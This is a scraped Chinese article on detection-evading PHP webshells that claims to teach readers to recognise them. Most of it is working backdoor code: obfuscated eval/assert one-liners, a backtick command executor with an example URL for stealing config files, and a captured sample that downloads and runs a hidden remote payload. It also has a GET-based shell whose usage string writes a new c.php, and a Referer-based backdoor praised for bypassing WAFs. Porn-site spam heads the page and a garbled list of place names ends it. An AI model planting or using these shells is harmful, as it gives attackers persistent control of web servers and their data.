最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

教你識(shí)別簡(jiǎn)單的免查殺PHP后門

 更新時(shí)間:2015年09月13日 12:04:03   投稿:hebedich  
這類后門讓網(wǎng)站、服務(wù)器管理員很是頭疼,經(jīng)常要換著方法進(jìn)行各種檢測(cè),而很多新出現(xiàn)的編寫技術(shù),用普通的檢測(cè)方法是沒(méi)法發(fā)現(xiàn)并處理的。今天我們細(xì)數(shù)一些有意思的PHP一句話木馬。

一個(gè)最常見(jiàn)的一句話后門可能寫作這樣

<?php @eval($_POST['cmd']);?>

或這樣

<?php @assert($_POST['cmd']);?>

tudouya 同學(xué)在FREEBUF上給出[一種構(gòu)造技巧]利用

復(fù)制代碼 代碼如下:

<?php  @$_++; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _P   $__.=("/"^"`"); // _PO   $__.=("|"^"/"); // _POS   $__.=("{"^"/"); // _POST   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  ?>

構(gòu)造生成,當(dāng)然,嫌太直觀可以寫作這樣

復(fù)制代碼 代碼如下:

<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代碼進(jìn)行偽裝,一個(gè)簡(jiǎn)單的”免殺”shell樣本就出現(xiàn)了

我們?cè)賮?lái)看看號(hào)稱史上最簡(jiǎn)單免查殺php后門

直接上代碼:

<?php
 
$c=urldecode($_GET['c']);if($c){`$c`;}//完整
 
!$_GET['c']||`{$_GET['c']}`;//精簡(jiǎn)
 
/*******************************************************
 * 原理:PHP中``符號(hào)包含會(huì)當(dāng)作系統(tǒng)命令執(zhí)行
 * 示例:http://host/?c=type%20config.php>config.txt
 *    然后就可以下載config.txt查看內(nèi)容了!
 *    可以試試更變態(tài)的命令,不要干壞事哦!
 *******************************************************/



其實(shí)現(xiàn)原理就是PHP會(huì)直接將 ` 符號(hào)(注意:不是單引號(hào))包含的內(nèi)容解析為系統(tǒng)命令執(zhí)行!這樣就可以自由變態(tài)地?cái)U(kuò)展了!

再來(lái)看同樣很簡(jiǎn)單的一段代碼

<?php 
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); 
?> 

密碼page

近期捕獲一個(gè)基于PHP實(shí)現(xiàn)的webshell樣本,其巧妙的代碼動(dòng)態(tài)生成方式,猥瑣的自身頁(yè)面?zhèn)窝b手法,讓我們?cè)诜治鲞@個(gè)樣本的過(guò)程中感受到相當(dāng)多的樂(lè)趣。接下來(lái)就讓我們一同共賞這個(gè)奇葩的Webshell吧。

Webshell代碼如下:

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

關(guān)鍵看下面這句代碼,

復(fù)制代碼 代碼如下:

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

這里執(zhí)行之后其實(shí)是一張圖片,解密出來(lái)的圖片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后調(diào)用file_get_contents函數(shù)讀取圖片為字符串,然后substr取3649字節(jié)之后的內(nèi)容,再調(diào)用gzuncompress解壓,得到真正的代碼。最后調(diào)用preg_replace的修飾符e來(lái)執(zhí)行惡意代碼的。這里執(zhí)行以下語(yǔ)句來(lái)還原出惡意樣本代碼,

復(fù)制代碼 代碼如下:

<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>

無(wú)特征隱藏PHP一句話:

   <?php 
session_start(); 
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); 
?>
 

將$_POST['code']的內(nèi)容賦值給$_SESSION['theCode'],然后執(zhí)行$_SESSION['theCode'],亮點(diǎn)是沒(méi)有特征碼。用掃描工具來(lái)檢查代碼的話,是不會(huì)報(bào)警的,達(dá)到目的了。
超級(jí)隱蔽的PHP后門:

<?php $_GET [a]( $_GET [b]);?>

 
僅用GET函數(shù)就構(gòu)成了木馬;
利用方法:
    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

執(zhí)行后當(dāng)前目錄生成c.php一句話木馬,當(dāng)傳參a為eval時(shí)會(huì)報(bào)錯(cuò)木馬生成失敗,為assert時(shí)同樣報(bào)錯(cuò),但會(huì)生成木馬,真可謂不可小視,簡(jiǎn)簡(jiǎn)單單的一句話,被延伸到這般應(yīng)用。
層級(jí)請(qǐng)求,編碼運(yùn)行PHP后門:
此方法用兩個(gè)文件實(shí)現(xiàn),文件1
 

 <?php 
//1.php 
header( 'Content-type:text/html;charset=utf-8' ); 
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); 
if (reset( $a ) == '10' && count ( $a ) == 9) { 
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); 
} 

?>

文件2

 <?php 
//2.php 
header( 'Content-type:text/html;charset=utf-8' ); 
//要執(zhí)行的代碼 
$code = <<<CODE 
phpinfo(); 
CODE; 
//進(jìn)行base64編碼 
$code = base64_encode ( $code ); 
//構(gòu)造referer字符串 
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; 
//后門url 
$url = 'http://localhost/test1/1.php ' ; 
$ch = curl_init(); 
$options = array ( 
CURLOPT_URL => $url , 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER => $referer
); 
curl_setopt_array( $ch , $options ); 
echocurl_exec( $ch ); 

?>


通過(guò)HTTP請(qǐng)求中的HTTP_REFERER來(lái)運(yùn)行經(jīng)過(guò)base64編碼的代碼,來(lái)達(dá)到后門的效果,一般waf對(duì)referer這些檢測(cè)要松一點(diǎn),或者沒(méi)有檢測(cè)。用這個(gè)思路bypass waf不錯(cuò)。

我們以一個(gè)學(xué)習(xí)的心態(tài)來(lái)對(duì)待這些PHP后門程序,很多PHP后門代碼讓我們看到程序員們是多么的用心良苦。

相關(guān)文章

  • PHP保存session到memcache服務(wù)器的方法

    PHP保存session到memcache服務(wù)器的方法

    這篇文章主要介紹了PHP保存session到memcache服務(wù)器的方法,涉及PHP操作session及memcache的相關(guān)技巧,需要的朋友可以參考下
    2016-01-01
  • PHP中單引號(hào)和雙引號(hào)的區(qū)別詳解

    PHP中單引號(hào)和雙引號(hào)的區(qū)別詳解

    看好多代碼有時(shí)候用單引號(hào)或雙引號(hào)實(shí)現(xiàn)包含字符串的內(nèi)容,其實(shí)簡(jiǎn)單個(gè)概括下雙引號(hào)中的變量可以解析,單引號(hào)就是絕對(duì)的字符串,下面這篇文章主要給大家介紹了關(guān)于PHP中單引號(hào)和雙引號(hào)區(qū)別的相關(guān)資料,需要的朋友可以參考下
    2023-01-01
  • 老生常談文本文件和二進(jìn)制文件的區(qū)別

    老生常談文本文件和二進(jìn)制文件的區(qū)別

    下面小編就為大家?guī)?lái)一篇老生常談文本文件和二進(jìn)制文件的區(qū)別。小編覺(jué)得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2017-02-02
  • PHP7 preg_replace 出錯(cuò)及解決辦法

    PHP7 preg_replace 出錯(cuò)及解決辦法

    在本篇文章里小編給大家整理的是一篇關(guān)于PHP7 preg_replace 出錯(cuò)及解決辦法,有需要的朋友們可以跟著學(xué)習(xí)下。
    2021-12-12
  • PHP回調(diào)函數(shù)概念與用法實(shí)例分析

    PHP回調(diào)函數(shù)概念與用法實(shí)例分析

    這篇文章主要介紹了PHP回調(diào)函數(shù)概念與用法,簡(jiǎn)單介紹了回調(diào)函數(shù)的概念、原理,并結(jié)合實(shí)例形式分析了回調(diào)函數(shù)的相關(guān)使用技巧,需要的朋友可以參考下
    2017-11-11
  • Laravel中10個(gè)有用的用法小結(jié)

    Laravel中10個(gè)有用的用法小結(jié)

    這篇文章主要介紹了Laravel中10個(gè)有用的用法小結(jié),都是一些比較常用的一些方法,有感興趣的同學(xué)可以學(xué)習(xí)下
    2021-03-03
  • php探針不顯示內(nèi)存解決方法

    php探針不顯示內(nèi)存解決方法

    在本篇文章里小編給大家整理的是關(guān)于php探針不顯示內(nèi)存的相關(guān)知識(shí)點(diǎn)內(nèi)容以及解決方法,需要的朋友們參考下。
    2019-09-09
  • php實(shí)現(xiàn)查詢百度google收錄情況(示例代碼)

    php實(shí)現(xiàn)查詢百度google收錄情況(示例代碼)

    對(duì)了貌似查google pr的東西只是file一個(gè)地址而已,如此說(shuō)了就沒(méi)有什么難度了。完整代碼如下
    2013-08-08
  • php+mysql查詢實(shí)現(xiàn)無(wú)限下級(jí)分類樹(shù)輸出示例

    php+mysql查詢實(shí)現(xiàn)無(wú)限下級(jí)分類樹(shù)輸出示例

    這篇文章主要介紹了php+mysql查詢實(shí)現(xiàn)無(wú)限下級(jí)分類樹(shù)輸出,結(jié)合實(shí)例形式分析了php+MySQL查詢實(shí)現(xiàn)的樹(shù)狀分類輸出功能,涉及php數(shù)據(jù)庫(kù)查詢與數(shù)組遍歷等相關(guān)操作技巧,需要的朋友可以參考下
    2016-10-10
  • php版微信js-sdk支付接口類用法示例

    php版微信js-sdk支付接口類用法示例

    這篇文章主要介紹了php版微信js-sdk支付接口類用法,結(jié)合實(shí)例形式分析了php版微信js-sdk支付接口類的定義與相關(guān)使用技巧,需要的朋友可以參考下
    2016-10-10

最新評(píng)論

河源市| 樟树市| 柏乡县| 西和县| 青川县| 阿拉善盟| 湖北省| 万州区| 浦江县| 西吉县| 屯留县| 长乐市| 云浮市| 紫阳县| 滦南县| 封丘县| 彝良县| 东城区| 芒康县| 高雄县| 闻喜县| 林甸县| 铁岭市| 鄂尔多斯市| 全州县| 云南省| 新龙县| 南康市| 绥中县| 泾源县| 辉县市| 微博| 思南县| 上蔡县| 罗山县| 杨浦区| 苏州市| 微博| 横峰县| 曲阳县| 横山县|